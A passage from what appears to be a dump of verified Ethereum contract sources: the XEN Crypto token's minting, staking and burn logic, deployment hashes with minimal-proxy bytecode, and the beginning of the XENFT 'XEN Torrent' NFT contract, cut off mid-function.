"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
bf7eec5c3a004e1d71aee22f7c1dce0993955c73
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) 